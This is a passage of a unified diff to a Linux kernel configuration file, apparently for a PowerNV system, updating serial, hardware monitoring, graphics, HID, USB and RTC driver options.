+CONFIG_LEGACY_TIOCSTI=y CONFIG_LDISC_AUTOLOAD=y -CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # # Serial drivers @@ -1466,16 +1618,20 @@ CONFIG_DEVMEM=y CONFIG_SERIAL_EARLYCON=y CONFIG_SERIAL_8250=y CONFIG_SERIAL_8250_DEPRECATED_OPTIONS=y +CONFIG_SERIAL_8250_16550A_VARIANTS=y # CONFIG_SERIAL_8250_FINTEK is not set CONFIG_SERIAL_8250_CONSOLE=y +CONFIG_SERIAL_8250_PCILIB=y CONFIG_SERIAL_8250_PCI=y CONFIG_SERIAL_8250_EXAR=y CONFIG_SERIAL_8250_NR_UARTS=4 CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_EXTENDED is not set +# CONFIG_SERIAL_8250_PCI1XXXX is not set CONFIG_SERIAL_8250_FSL=y # CONFIG_SERIAL_8250_DW is not set # CONFIG_SERIAL_8250_RT288X is not set +CONFIG_SERIAL_8250_PERICOM=y # CONFIG_SERIAL_OF_PLATFORM is not set # @@ -1487,6 +1643,7 @@ CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_SIFIVE is not set # CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_XILINX_PS_UART is not set @@ -1497,13 +1654,18 @@ CONFIG_SERIAL_CORE_CONSOLE=y # CONFIG_SERIAL_CONEXANT_DIGICOLOR is not set # end of Serial drivers -# CONFIG_SERIAL_DEV_BUS is not set -CONFIG_TTY_PRINTK=y -CONFIG_TTY_PRINTK_LEVEL=6 +# CONFIG_SERIAL_NONSTANDARD is not set +# CONFIG_PPC_EPAPR_HV_BYTECHAN is not set +# CONFIG_N_GSM is not set +# CONFIG_NOZOMI is not set +# CONFIG_NULL_TTY is not set CONFIG_HVC_DRIVER=y CONFIG_HVC_IRQ=y CONFIG_HVC_OPAL=y # CONFIG_HVC_UDBG is not set +# CONFIG_SERIAL_DEV_BUS is not set +CONFIG_TTY_PRINTK=y +CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set CONFIG_POWERNV_OP_PANEL=m CONFIG_IPMI_HANDLER=y @@ -1516,28 +1678,31 @@ CONFIG_IPMI_POWERNV=y # CONFIG_IPMI_POWEROFF is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set +# CONFIG_HW_RANDOM_BA431 is not set # CONFIG_HW_RANDOM_VIRTIO is not set CONFIG_HW_RANDOM_POWERNV=y -CONFIG_NVRAM=y +# CONFIG_HW_RANDOM_CCTRNG is not set +# CONFIG_HW_RANDOM_XIPHERA is not set # CONFIG_APPLICOM is not set -# CONFIG_RAW_DRIVER is not set +CONFIG_DEVMEM=y +CONFIG_NVRAM=y +CONFIG_DEVPORT=y # CONFIG_HANGCHECK_TIMER is not set CONFIG_TCG_TPM=y CONFIG_HW_RANDOM_TPM=y # CONFIG_TCG_TIS is not set +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set # CONFIG_TCG_TIS_I2C_ATMEL is not set CONFIG_TCG_TIS_I2C_INFINEON=y CONFIG_TCG_TIS_I2C_NUVOTON=y # CONFIG_TCG_ATMEL is not set # CONFIG_TCG_VTPM_PROXY is not set # CONFIG_TCG_TIS_ST33ZP24_I2C is not set -CONFIG_DEVPORT=y # CONFIG_XILLYBUS is not set +# CONFIG_XILLYUSB is not set # end of Character devices -CONFIG_RANDOM_TRUST_CPU=y -# CONFIG_RANDOM_TRUST_BOOTLOADER is not set - # # I2C support # @@ -1595,7 +1760,8 @@ CONFIG_I2C_ALGOBIT=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set -# CONFIG_I2C_PARPORT_LIGHT is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1604,6 +1770,7 @@ CONFIG_I2C_ALGOBIT=y # Other I2C/SMBus bus drivers # CONFIG_I2C_OPAL=y +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1633,17 +1800,18 @@ CONFIG_PTP_1588_CLOCK_OPTIONAL=y # CONFIG_PINCTRL is not set # CONFIG_GPIOLIB is not set # CONFIG_W1 is not set -# CONFIG_POWER_AVS is not set # CONFIG_POWER_RESET is not set CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set CONFIG_POWER_SUPPLY_HWMON=y -# CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set +# CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1651,10 +1819,15 @@ CONFIG_POWER_SUPPLY_HWMON=y # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set # CONFIG_CHARGER_DETECTOR_MAX14656 is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set +# CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set CONFIG_HWMON=y # CONFIG_HWMON_DEBUG_CHIP is not set @@ -1668,16 +1841,22 @@ CONFIG_HWMON=y # CONFIG_SENSORS_ADM1026 is not set # CONFIG_SENSORS_ADM1029 is not set # CONFIG_SENSORS_ADM1031 is not set +# CONFIG_SENSORS_ADM1177 is not set # CONFIG_SENSORS_ADM9240 is not set # CONFIG_SENSORS_ADT7410 is not set # CONFIG_SENSORS_ADT7411 is not set # CONFIG_SENSORS_ADT7462 is not set # CONFIG_SENSORS_ADT7470 is not set # CONFIG_SENSORS_ADT7475 is not set +# CONFIG_SENSORS_AHT10 is not set +# CONFIG_SENSORS_AQUACOMPUTER_D5NEXT is not set # CONFIG_SENSORS_AS370 is not set # CONFIG_SENSORS_ASC7621 is not set -# CONFIG_SENSORS_ASPEED is not set +# CONFIG_SENSORS_AXI_FAN_CONTROL is not set # CONFIG_SENSORS_ATXP1 is not set +# CONFIG_SENSORS_CORSAIR_CPRO is not set +# CONFIG_SENSORS_CORSAIR_PSU is not set +# CONFIG_SENSORS_DRIVETEMP is not set # CONFIG_SENSORS_DS620 is not set # CONFIG_SENSORS_DS1621 is not set # CONFIG_SENSORS_I5K_AMB is not set @@ -1687,6 +1866,7 @@ CONFIG_HWMON=y # CONFIG_SENSORS_G760A is not set # CONFIG_SENSORS_G762 is not set # CONFIG_SENSORS_HIH6130 is not set +# CONFIG_SENSORS_HS3001 is not set # CONFIG_SENSORS_IBMAEM is not set # CONFIG_SENSORS_IBMPEX is not set CONFIG_SENSORS_IBMPOWERNV=y @@ -1702,18 +1882,26 @@ CONFIG_SENSORS_IBMPOWERNV=y # CONFIG_SENSORS_LTC4245 is not set # CONFIG_SENSORS_LTC4260 is not set # CONFIG_SENSORS_LTC4261 is not set +# CONFIG_SENSORS_MAX127 is not set # CONFIG_SENSORS_MAX16065 is not set # CONFIG_SENSORS_MAX1619 is not set # CONFIG_SENSORS_MAX1668 is not set # CONFIG_SENSORS_MAX197 is not set +# CONFIG_SENSORS_MAX31730 is not set +# CONFIG_SENSORS_MAX31760 is not set +# CONFIG_MAX31827 is not set +# CONFIG_SENSORS_MAX6620 is not set # CONFIG_SENSORS_MAX6621 is not set # CONFIG_SENSORS_MAX6639 is not set # CONFIG_SENSORS_MAX6642 is not set # CONFIG_SENSORS_MAX6650 is not set # CONFIG_SENSORS_MAX6697 is not set # CONFIG_SENSORS_MAX31790 is not set +# CONFIG_SENSORS_MC34VR500 is not set # CONFIG_SENSORS_MCP3021 is not set # CONFIG_SENSORS_TC654 is not set +# CONFIG_SENSORS_TPS23861 is not set +# CONFIG_SENSORS_MR75203 is not set # CONFIG_SENSORS_LM63 is not set # CONFIG_SENSORS_LM73 is not set # CONFIG_SENSORS_LM75 is not set @@ -1729,27 +1917,33 @@ CONFIG_SENSORS_IBMPOWERNV=y # CONFIG_SENSORS_LM95234 is not set # CONFIG_SENSORS_LM95241 is not set # CONFIG_SENSORS_LM95245 is not set -# CONFIG_SENSORS_NTC_THERMISTOR is not set +# CONFIG_SENSORS_NCT6775_I2C is not set # CONFIG_SENSORS_NCT7802 is not set -# CONFIG_SENSORS_NCT7904 is not set # CONFIG_SENSORS_NPCM7XX is not set +# CONFIG_SENSORS_NZXT_KRAKEN2 is not set +# CONFIG_SENSORS_NZXT_SMART2 is not set +# CONFIG_SENSORS_OCC_P8_I2C is not set # CONFIG_SENSORS_PCF8591 is not set # CONFIG_PMBUS is not set +# CONFIG_SENSORS_SBTSI is not set +# CONFIG_SENSORS_SBRMI is not set # CONFIG_SENSORS_SHT21 is not set # CONFIG_SENSORS_SHT3x is not set +# CONFIG_SENSORS_SHT4x is not set # CONFIG_SENSORS_SHTC1 is not set # CONFIG_SENSORS_SIS5595 is not set # CONFIG_SENSORS_EMC1403 is not set # CONFIG_SENSORS_EMC2103 is not set +# CONFIG_SENSORS_EMC2305 is not set # CONFIG_SENSORS_EMC6W201 is not set # CONFIG_SENSORS_SMSC47M192 is not set # CONFIG_SENSORS_STTS751 is not set -# CONFIG_SENSORS_SMM665 is not set # CONFIG_SENSORS_ADC128D818 is not set # CONFIG_SENSORS_ADS7828 is not set # CONFIG_SENSORS_AMC6821 is not set # CONFIG_SENSORS_INA209 is not set # CONFIG_SENSORS_INA2XX is not set +# CONFIG_SENSORS_INA238 is not set # CONFIG_SENSORS_INA3221 is not set # CONFIG_SENSORS_TC74 is not set # CONFIG_SENSORS_THMC50 is not set @@ -1758,6 +1952,7 @@ CONFIG_SENSORS_IBMPOWERNV=y # CONFIG_SENSORS_TMP108 is not set # CONFIG_SENSORS_TMP401 is not set # CONFIG_SENSORS_TMP421 is not set +# CONFIG_SENSORS_TMP464 is not set # CONFIG_SENSORS_TMP513 is not set # CONFIG_SENSORS_VIA686A is not set # CONFIG_SENSORS_VT8231 is not set @@ -1781,6 +1976,7 @@ CONFIG_BCMA_POSSIBLE=y # # CONFIG_MFD_ACT8945A is not set # CONFIG_MFD_AS3711 is not set +# CONFIG_MFD_SMPRO is not set # CONFIG_MFD_AS3722 is not set # CONFIG_PMIC_ADP5520 is not set # CONFIG_MFD_ATMEL_FLEXCOM is not set @@ -1788,7 +1984,9 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_BCM590XX is not set # CONFIG_MFD_BD9571MWV is not set # CONFIG_MFD_AXP20X_I2C is not set +# CONFIG_MFD_CS42L43_I2C is not set # CONFIG_MFD_MADERA is not set +# CONFIG_MFD_MAX5970 is not set # CONFIG_PMIC_DA903X is not set # CONFIG_MFD_DA9052_I2C is not set # CONFIG_MFD_DA9055 is not set @@ -1796,45 +1994,52 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_DA9063 is not set # CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set +# CONFIG_MFD_GATEWORKS_GSC is not set # CONFIG_MFD_MC13XXX_I2C is not set +# CONFIG_MFD_MP2629 is not set # CONFIG_MFD_HI6421_PMIC is not set -# CONFIG_HTC_PASIC3 is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set +# CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set # CONFIG_MFD_88PM800 is not set # CONFIG_MFD_88PM805 is not set # CONFIG_MFD_88PM860X is not set # CONFIG_MFD_MAX14577 is not set +# CONFIG_MFD_MAX77541 is not set # CONFIG_MFD_MAX77620 is not set # CONFIG_MFD_MAX77650 is not set # CONFIG_MFD_MAX77686 is not set # CONFIG_MFD_MAX77693 is not set +# CONFIG_MFD_MAX77714 is not set # CONFIG_MFD_MAX77843 is not set # CONFIG_MFD_MAX8907 is not set # CONFIG_MFD_MAX8925 is not set # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set +# CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set +# CONFIG_MFD_NTXEC is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_RK808 is not set +# CONFIG_MFD_RK8XX_I2C is not set # CONFIG_MFD_RN5T618 is not set # CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_MFD_SMSC is not set -# CONFIG_ABX500_CORE is not set # CONFIG_MFD_STMPE is not set # CONFIG_MFD_SYSCON is not set -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1847,9 +2052,10 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TI_LP87565 is not set # CONFIG_MFD_TPS65218 is not set +# CONFIG_MFD_TPS65219 is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set +# CONFIG_MFD_TPS6594_I2C is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1864,36 +2070,51 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set # CONFIG_MFD_ROHM_BD718XX is not set -# CONFIG_MFD_ROHM_BD70528 is not set +# CONFIG_MFD_ROHM_BD71828 is not set +# CONFIG_MFD_ROHM_BD957XMUF is not set # CONFIG_MFD_STPMIC1 is not set # CONFIG_MFD_STMFX is not set +# CONFIG_MFD_ATC260X_I2C is not set +# CONFIG_MFD_QCOM_PM8008 is not set +# CONFIG_MFD_RSMU_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# +# CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y +CONFIG_VIDEO_CMDLINE=y +CONFIG_VIDEO_NOMODESET=y +# CONFIG_AUXDISPLAY is not set # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 CONFIG_DRM=y -# CONFIG_DRM_DP_AUX_CHARDEV is not set # CONFIG_DRM_DEBUG_MM is not set -# CONFIG_DRM_DEBUG_SELFTEST is not set CONFIG_DRM_KMS_HELPER=y -CONFIG_DRM_KMS_FB_HELPER=y # CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set CONFIG_DRM_FBDEV_EMULATION=y CONFIG_DRM_FBDEV_OVERALLOC=100 # CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM is not set # CONFIG_DRM_LOAD_EDID_FIRMWARE is not set +CONFIG_DRM_DISPLAY_HELPER=y +CONFIG_DRM_DISPLAY_DP_HELPER=y +# CONFIG_DRM_DP_AUX_CHARDEV is not set # CONFIG_DRM_DP_CEC is not set CONFIG_DRM_TTM=y -CONFIG_DRM_VRAM_HELPER=y CONFIG_DRM_TTM_HELPER=y +CONFIG_DRM_GEM_SHMEM_HELPER=y +CONFIG_DRM_SUBALLOC_HELPER=y # # I2C encoder or helper chips @@ -1912,23 +2133,13 @@ CONFIG_DRM_TTM_HELPER=y CONFIG_DRM_RADEON=y # CONFIG_DRM_RADEON_USERPTR is not set # CONFIG_DRM_AMDGPU is not set - -# -# ACP (Audio CoProcessor) Configuration -# -# end of ACP (Audio CoProcessor) Configuration - # CONFIG_DRM_NOUVEAU is not set # CONFIG_DRM_VGEM is not set # CONFIG_DRM_VKMS is not set # CONFIG_DRM_UDL is not set CONFIG_DRM_AST=y # CONFIG_DRM_MGAG200 is not set -# CONFIG_DRM_CIRRUS_QEMU is not set -# CONFIG_DRM_RCAR_DW_HDMI is not set -# CONFIG_DRM_RCAR_LVDS is not set # CONFIG_DRM_QXL is not set -# CONFIG_DRM_BOCHS is not set # CONFIG_DRM_VIRTIO_GPU is not set CONFIG_DRM_PANEL=y @@ -1936,8 +2147,10 @@ CONFIG_DRM_PANEL=y # Display Panels # # CONFIG_DRM_PANEL_LVDS is not set -# CONFIG_DRM_PANEL_SIMPLE is not set # CONFIG_DRM_PANEL_OLIMEX_LCD_OLINUXINO is not set +# CONFIG_DRM_PANEL_SAMSUNG_S6D7AA0 is not set +# CONFIG_DRM_PANEL_SAMSUNG_S6E63M0 is not set +# CONFIG_DRM_PANEL_SAMSUNG_S6E88A0_AMS452EF01 is not set # CONFIG_DRM_PANEL_SAMSUNG_S6E8AA0 is not set # CONFIG_DRM_PANEL_SEIKO_43WVF1G is not set # end of Display Panels @@ -1948,53 +2161,62 @@ CONFIG_DRM_PANEL_BRIDGE=y # # Display Interface Bridges # -# CONFIG_DRM_ANALOGIX_ANX78XX is not set -# CONFIG_DRM_CDNS_DSI is not set -# CONFIG_DRM_DUMB_VGA_DAC is not set -# CONFIG_DRM_LVDS_ENCODER is not set +# CONFIG_DRM_CHIPONE_ICN6211 is not set +# CONFIG_DRM_CHRONTEL_CH7033 is not set +# CONFIG_DRM_DISPLAY_CONNECTOR is not set +# CONFIG_DRM_ITE_IT6505 is not set +# CONFIG_DRM_LONTIUM_LT8912B is not set +# CONFIG_DRM_LONTIUM_LT9211 is not set +# CONFIG_DRM_LONTIUM_LT9611 is not set +# CONFIG_DRM_LONTIUM_LT9611UXC is not set +# CONFIG_DRM_ITE_IT66121 is not set +# CONFIG_DRM_LVDS_CODEC is not set # CONFIG_DRM_MEGACHIPS_STDPXXXX_GE_B850V3_FW is not set # CONFIG_DRM_NXP_PTN3460 is not set # CONFIG_DRM_PARADE_PS8622 is not set +# CONFIG_DRM_PARADE_PS8640 is not set # CONFIG_DRM_SIL_SII8620 is not set # CONFIG_DRM_SII902X is not set # CONFIG_DRM_SII9234 is not set +# CONFIG_DRM_SIMPLE_BRIDGE is not set # CONFIG_DRM_THINE_THC63LVD1024 is not set +# CONFIG_DRM_TOSHIBA_TC358762 is not set # CONFIG_DRM_TOSHIBA_TC358764 is not set # CONFIG_DRM_TOSHIBA_TC358767 is not set +# CONFIG_DRM_TOSHIBA_TC358768 is not set +# CONFIG_DRM_TOSHIBA_TC358775 is not set +# CONFIG_DRM_TI_DLPC3433 is not set # CONFIG_DRM_TI_TFP410 is not set +# CONFIG_DRM_TI_SN65DSI83 is not set # CONFIG_DRM_TI_SN65DSI86 is not set +# CONFIG_DRM_TI_TPD12S015 is not set +# CONFIG_DRM_ANALOGIX_ANX6345 is not set +# CONFIG_DRM_ANALOGIX_ANX78XX is not set +# CONFIG_DRM_ANALOGIX_ANX7625 is not set # CONFIG_DRM_I2C_ADV7511 is not set +# CONFIG_DRM_CDNS_DSI is not set +# CONFIG_DRM_CDNS_MHDP8546 is not set # end of Display Interface Bridges +# CONFIG_DRM_LOONGSON is not set # CONFIG_DRM_ETNAVIV is not set +# CONFIG_DRM_LOGICVC is not set # CONFIG_DRM_ARCPGU is not set +# CONFIG_DRM_BOCHS is not set +# CONFIG_DRM_CIRRUS_QEMU is not set # CONFIG_DRM_GM12U320 is not set +# CONFIG_DRM_OFDRM is not set +# CONFIG_DRM_SIMPLEDRM is not set +# CONFIG_DRM_GUD is not set +# CONFIG_DRM_SSD130X is not set # CONFIG_DRM_LEGACY is not set CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y # # Frame buffer Devices # -CONFIG_FB_CMDLINE=y -CONFIG_FB_NOTIFY=y CONFIG_FB=y -CONFIG_FIRMWARE_EDID=y -CONFIG_FB_CFB_FILLRECT=y -CONFIG_FB_CFB_COPYAREA=y -CONFIG_FB_CFB_IMAGEBLIT=y -CONFIG_FB_SYS_FILLRECT=y -CONFIG_FB_SYS_COPYAREA=y -CONFIG_FB_SYS_IMAGEBLIT=y -# CONFIG_FB_FOREIGN_ENDIAN is not set -CONFIG_FB_SYS_FOPS=y -CONFIG_FB_DEFERRED_IO=y CONFIG_FB_MACMODES=y -# CONFIG_FB_MODE_HELPERS is not set -CONFIG_FB_TILEBLITTING=y - -# -# Frame buffer hardware drivers -# # CONFIG_FB_CIRRUS is not set # CONFIG_FB_PM2 is not set # CONFIG_FB_CYBER2000 is not set @@ -2035,6 +2257,24 @@ CONFIG_FB_MATROX_G=y # CONFIG_FB_MB862XX is not set # CONFIG_FB_SIMPLE is not set # CONFIG_FB_SM712 is not set +CONFIG_FB_CORE=y +CONFIG_FB_NOTIFY=y +CONFIG_FIRMWARE_EDID=y +CONFIG_FB_DEVICE=y +CONFIG_FB_CFB_FILLRECT=y +CONFIG_FB_CFB_COPYAREA=y +CONFIG_FB_CFB_IMAGEBLIT=y +CONFIG_FB_SYS_FILLRECT=y +CONFIG_FB_SYS_COPYAREA=y +CONFIG_FB_SYS_IMAGEBLIT=y +# CONFIG_FB_FOREIGN_ENDIAN is not set +CONFIG_FB_SYS_FOPS=y +CONFIG_FB_DEFERRED_IO=y +CONFIG_FB_IOMEM_HELPERS=y +CONFIG_FB_SYSMEM_HELPERS=y +CONFIG_FB_SYSMEM_HELPERS_DEFERRED=y +# CONFIG_FB_MODE_HELPERS is not set +CONFIG_FB_TILEBLITTING=y # end of Frame buffer Devices # @@ -2042,7 +2282,7 @@ CONFIG_FB_MATROX_G=y # # CONFIG_LCD_CLASS_DEVICE is not set CONFIG_BACKLIGHT_CLASS_DEVICE=y -# CONFIG_BACKLIGHT_GENERIC is not set +# CONFIG_BACKLIGHT_KTZ8866 is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_ADP8860 is not set # CONFIG_BACKLIGHT_ADP8870 is not set @@ -2058,14 +2298,11 @@ CONFIG_HDMI=y # Console display driver support # CONFIG_VGA_CONSOLE=y -CONFIG_VGACON_SOFT_SCROLLBACK=y -CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=64 -# CONFIG_VGACON_SOFT_SCROLLBACK_PERSISTENT_ENABLE_BY_DEFAULT is not set CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y -CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2077,11 +2314,9 @@ CONFIG_LOGO=y CONFIG_LOGO_LINUX_CLUT224=y # end of Graphics support +# CONFIG_DRM_ACCEL is not set # CONFIG_SOUND is not set - -# -# HID support -# +CONFIG_HID_SUPPORT=y CONFIG_HID=y # CONFIG_HID_BATTERY_STRENGTH is not set # CONFIG_HIDRAW is not set @@ -2109,10 +2344,14 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_EMS_FF is not set # CONFIG_HID_ELECOM is not set # CONFIG_HID_ELO is not set +# CONFIG_HID_EVISION is not set # CONFIG_HID_EZKEY is not set # CONFIG_HID_GEMBIRD is not set # CONFIG_HID_GFRM is not set +# CONFIG_HID_GLORIOUS is not set # CONFIG_HID_HOLTEK is not set +# CONFIG_HID_GOOGLE_STADIA_FF is not set +# CONFIG_HID_VIVALDI is not set # CONFIG_HID_KEYTOUCH is not set # CONFIG_HID_KYE is not set # CONFIG_HID_UCLOGIC is not set @@ -2172,8 +2411,14 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_ZYDACRON is not set # CONFIG_HID_SENSOR_HUB is not set # CONFIG_HID_ALPS is not set +# CONFIG_HID_MCP2221 is not set # end of Special HID drivers +# +# HID-BPF support +# +# end of HID-BPF support + # # USB HID support # @@ -2189,13 +2434,7 @@ CONFIG_USB_HIDDEV=y # end of USB HID Boot Protocol drivers # end of USB HID support -# -# I2C HID support -# # CONFIG_I2C_HID is not set -# end of I2C HID support -# end of HID support - CONFIG_USB_OHCI_LITTLE_ENDIAN=y CONFIG_USB_SUPPORT=y CONFIG_USB_COMMON=y @@ -2209,9 +2448,10 @@ CONFIG_USB_PCI=y # Miscellaneous USB options # CONFIG_USB_DEFAULT_PERSIST=y +# CONFIG_USB_FEW_INIT_RETRIES is not set # CONFIG_USB_DYNAMIC_MINORS is not set -# CONFIG_USB_OTG_WHITELIST is not set -# CONFIG_USB_OTG_BLACKLIST_HUB is not set +# CONFIG_USB_OTG_PRODUCTLIST is not set +# CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set CONFIG_USB_AUTOSUSPEND_DELAY=2 CONFIG_USB_MON=y @@ -2222,6 +2462,7 @@ CONFIG_USB_MON=y CONFIG_USB_XHCI_HCD=m # CONFIG_USB_XHCI_DBGCAP is not set CONFIG_USB_XHCI_PCI=m +# CONFIG_USB_XHCI_PCI_RENESAS is not set # CONFIG_USB_XHCI_PLATFORM is not set CONFIG_USB_EHCI_HCD=m # CONFIG_USB_EHCI_ROOT_HUB_TT is not set @@ -2232,7 +2473,6 @@ CONFIG_USB_EHCI_PCI=m # CONFIG_USB_EHCI_HCD_PLATFORM is not set # CONFIG_USB_OXU210HP_HCD is not set # CONFIG_USB_ISP116X_HCD is not set -# CONFIG_USB_FOTG210_HCD is not set CONFIG_USB_OHCI_HCD=y # CONFIG_USB_OHCI_HCD_PPC_OF_BE is not set # CONFIG_USB_OHCI_HCD_PPC_OF_LE is not set @@ -2281,6 +2521,10 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set + +# +# USB dual-mode controller drivers +# # CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set @@ -2305,8 +2549,8 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_CYPRESS_CY7C63 is not set # CONFIG_USB_CYTHERM is not set # CONFIG_USB_IDMOUSE is not set -# CONFIG_USB_FTDI_ELAN is not set # CONFIG_USB_APPLEDISPLAY is not set +# CONFIG_APPLE_MFI_FASTCHARGE is not set # CONFIG_USB_SISUSBVGA is not set # CONFIG_USB_LD is not set # CONFIG_USB_TRANCEVIBRATOR is not set @@ -2316,19 +2560,25 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set +# CONFIG_USB_HUB_USB251XB is not set +# CONFIG_USB_HSIC_USB3503 is not set +# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set +# CONFIG_USB_ONBOARD_HUB is not set # # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set +# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set # CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2364,6 +2614,7 @@ CONFIG_RTC_INTF_DEV=y # CONFIG_RTC_DRV_DS1672 is not set # CONFIG_RTC_DRV_HYM8563 is not set # CONFIG_RTC_DRV_MAX6900 is not set +# CONFIG_RTC_DRV_NCT3018Y is not set # CONFIG_RTC_DRV_RS5C372 is not set # CONFIG_RTC_DRV_ISL1208 is not set # CONFIG_RTC_DRV_ISL12022 is not set @@ -2383,6 +2634,7 @@ CONFIG_RTC_INTF_DEV=y # CONFIG_RTC_DRV_RX8025 is not set # CONFIG_RTC_DRV_EM3027 is not set # CONFIG_RTC_DRV_RV3028 is not set +# CONFIG_RTC_DRV_RV3032 is not set # CONFIG_RTC_DRV_RV8803 is not set # CONFIG_RTC_DRV_SD3078 is not set @@ -2397,6 +2649,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2413,9 +2666,7 @@ CONFIG_RTC_I2C_AND_SPI=y # 